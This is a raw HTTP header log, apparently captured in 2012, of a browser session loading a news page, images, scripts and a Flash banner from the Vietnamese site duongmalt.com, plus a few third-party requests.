User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 9467
Last-Modified: Wed, 15 Jun 2011 10:49:58 GMT
Accept-Ranges: bytes
Etag: "2e8d40f8492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:27 GMT
Date: Sat, 27 Oct 2012 17:43:27 GMT
GET /images/sidebar_bg.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 2804
Last-Modified: Wed, 15 Jun 2011 10:50:05 GMT
Accept-Ranges: bytes
Etag: "29597fc492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:27 GMT
Date: Sat, 27 Oct 2012 17:43:27 GMT
GET /images/vmenuitem.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 2289
Last-Modified: Wed, 15 Jun 2011 10:50:06 GMT
Accept-Ranges: bytes
Etag: "6e8c51fd492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:27 GMT
Date: Sat, 27 Oct 2012 17:43:27 GMT
GET /images/sheet_c.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 219
Last-Modified: Wed, 15 Jun 2011 10:50:04 GMT
Accept-Ranges: bytes
Etag: "ac7314fc492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:27 GMT
Date: Sat, 27 Oct 2012 17:43:27 GMT
GET /images/sheet_h.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 100
Last-Modified: Wed, 15 Jun 2011 10:50:05 GMT
Accept-Ranges: bytes
Etag: "98d435fc492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:27 GMT
Date: Sat, 27 Oct 2012 17:43:27 GMT
GET /TrangTinTuc.aspx?id=86 HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Cache-Control: private
Date: Sat, 27 Oct 2012 17:43:16 GMT
X-Powered-By: PleskWin, ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55; path=/; HttpOnly
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:16 GMT
Content-Encoding: gzip
Vary: Accept-Encoding
Transfer-Encoding: chunked
GET /Images/dot2.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 2812
Last-Modified: Wed, 15 Jun 2011 10:49:57 GMT
Accept-Ranges: bytes
Etag: "86b8eaf7492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:34 GMT
Date: Sat, 27 Oct 2012 17:43:34 GMT
GET /images/blockcontentbullets.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 111
Last-Modified: Wed, 15 Jun 2011 10:49:47 GMT
Accept-Ranges: bytes
Etag: "1027e4f1492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:34 GMT
Date: Sat, 27 Oct 2012 17:43:34 GMT
GET /images/circle-chart.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 1486
Last-Modified: Wed, 15 Jun 2011 10:49:55 GMT
Accept-Ranges: bytes
Etag: "a61a47f6492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:34 GMT
Date: Sat, 27 Oct 2012 17:43:34 GMT
GET /js/tygia.js HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 7452
Last-Modified: Thu, 12 Jul 2012 22:12:42 GMT
Accept-Ranges: bytes
Etag: "727ff3747b60cd1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:35 GMT
Date: Sat, 27 Oct 2012 17:43:35 GMT
GET /Service/Gold_Content.js HTTP/1.1

Host: www.vnexpress.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Server: Caching-NOC-V1.0
Date: Sat, 27 Oct 2012 17:45:23 GMT
Content-Length: 102
Connection: keep-alive
Keep-Alive: timeout=30
Content-Encoding: gzip
Last-Modified: Sat, 27 Oct 2012 17:43:35 GMT
Accept-Ranges: bytes
Etag: "80bd9c966ab4cd1:505"
Vary: Accept-Encoding
Expires: Sat, 27 Oct 2012 17:45:23 GMT
Cache-Control: max-age=0, vne-hk-34,no-cache
GET /Service/Forex_Content.js HTTP/1.1

Host: www.vnexpress.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Server: Caching-NOC-V1.0
Date: Sat, 27 Oct 2012 17:45:23 GMT
Content-Length: 256
Connection: keep-alive
Keep-Alive: timeout=30
Content-Encoding: gzip
Last-Modified: Sat, 27 Oct 2012 17:43:35 GMT
Accept-Ranges: bytes
Etag: "80bd9c966ab4cd1:505"
Vary: Accept-Encoding
Expires: Sat, 27 Oct 2012 17:45:23 GMT
Cache-Control: max-age=0, vne-hk-34,no-cache
GET /Photos/QuangCao/1.jpg HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 17911
Last-Modified: Sat, 18 Jun 2011 04:09:47 GMT
Accept-Ranges: bytes
Etag: "f8c3ef8f6d2dcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:35 GMT
Date: Sat, 27 Oct 2012 17:43:35 GMT
GET /images/money.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 2857
Last-Modified: Wed, 15 Jun 2011 10:50:03 GMT
Accept-Ranges: bytes
Etag: "624240fb492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:36 GMT
Date: Sat, 27 Oct 2012 17:43:36 GMT
GET /Photos/QuangCao/2.jpg HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 20800
Last-Modified: Sat, 18 Jun 2011 04:09:48 GMT
Accept-Ranges: bytes
Etag: "68fc28906d2dcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:35 GMT
Date: Sat, 27 Oct 2012 17:43:35 GMT
GET /js/giavang.js HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 7531
Last-Modified: Thu, 12 Jul 2012 22:11:52 GMT
Accept-Ranges: bytes
Etag: "7ac955577b60cd1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:40 GMT
Date: Sat, 27 Oct 2012 17:43:40 GMT
GET /Images/BannerDuongMalt.swf HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: application/x-shockwave-flash

Content-Length: 461227
Last-Modified: Sat, 25 Jun 2011 04:57:34 GMT
Accept-Ranges: bytes
Etag: "bedddb65f432cc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:26 GMT
Date: Sat, 27 Oct 2012 17:43:26 GMT
GET /get/flashplayer/update/current/xml/version_en_win_pl.xml HTTP/1.1

Host: fpdownload2.macromedia.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/xml

Server: Apache
Last-Modified: Wed, 03 Oct 2012 19:48:11 GMT
Etag: "289dff-26c-4cb2ceb2654c0"
Accept-Ranges: bytes
Content-Length: 620
Date: Sat, 27 Oct 2012 17:44:03 GMT
Connection: keep-alive
GET /favicon.ico HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/x-icon

Content-Length: 17542
Last-Modified: Sat, 22 Oct 2011 01:27:05 GMT
Accept-Ranges: bytes
Etag: "f2f88db55990cc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:44:04 GMT
Date: Sat, 27 Oct 2012 17:44:04 GMT
GET /favicon.ico HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/x-icon

Content-Length: 17542
Last-Modified: Sat, 22 Oct 2011 01:27:05 GMT
Accept-Ranges: bytes
Etag: "f2f88db55990cc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:44:07 GMT
Date: Sat, 27 Oct 2012 17:44:07 GMT